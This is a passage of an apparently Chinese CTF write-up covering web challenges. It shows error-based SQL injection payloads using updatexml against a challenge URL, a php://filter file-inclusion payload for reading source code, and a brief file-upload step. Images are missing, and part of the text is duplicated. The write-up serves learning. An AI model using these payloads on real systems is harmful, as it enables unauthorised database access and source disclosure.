# 查数据表 http://123.206.87.240:9004/Once_More.php?id=1’ and updatexml(1,concat(’~’,(select group_concat(table_name) from information_schema.tables where table_schema=database()),’~’),3) %23

# 查字段 ?id=1’ and updatexml(1,concat(’~’,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag2’),’~’),3) %23

# 查数据 ?id=1’ and updatexml(1,concat(’~’,(select flag2 from flag2),’~’),3) %23

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AA9uznTX-1593143273966)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image106.gif)]

*(41)php_encrypt_1

(42)文件包含

看到地址有file所以想到有文件包含利用漏洞+php协议

原理:利用php://filter协议读取文件,payload

php://filter/read=convert.base64.encode/resource=index.php

这句话的意思是我们用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内容,然而页面显示了naive,过分哦!!!

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CnPTtEAR-1593143273967)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image108.gif)]

发现了upload.php这个页面,文件上传

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TZs4hw5D-1593143273968)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image110.gif)]

抓包看看有没有限制,只能上传图片,文件不能大于100K

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H9kCf4ed-1593143273969)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image112.gif)]

成功上传,但是访问路径什么都没有,所以构造payload访问

//查看目录中有什么文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VO8kaGPa-1593143273970)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image114.gif)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ifif8sPp-1593143273971)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image116.gif)]

file所以想到有文件包含利用漏洞+php协议

原理:利用php://filter协议读取文件,payload

php://filter/read=convert.base64.encode/resource=index.php

这句话的意思是我们用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内容,然而页面显示了naive,过分哦!!!

[外链图片转存中…(img-CnPTtEAR-1593143273967)]

发现了upload.php这个页面,文件上传

[外链图片转存中…(img-TZs4hw5D-1593143273968)]

抓包看看有没有限制,只能上传图片,文件不能大于100K

[外链图片转存中…(img-H9kCf4ed-1593143273969)]

成功上传,但是访问路径什么都没有,所以构造payload访问

//查看目录中有什么文件

[外链图片转存中…(img-VO8kaGPa-1593143273970)]

[外链图片转存中…(img-ifif8sPp-1593143273971)]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值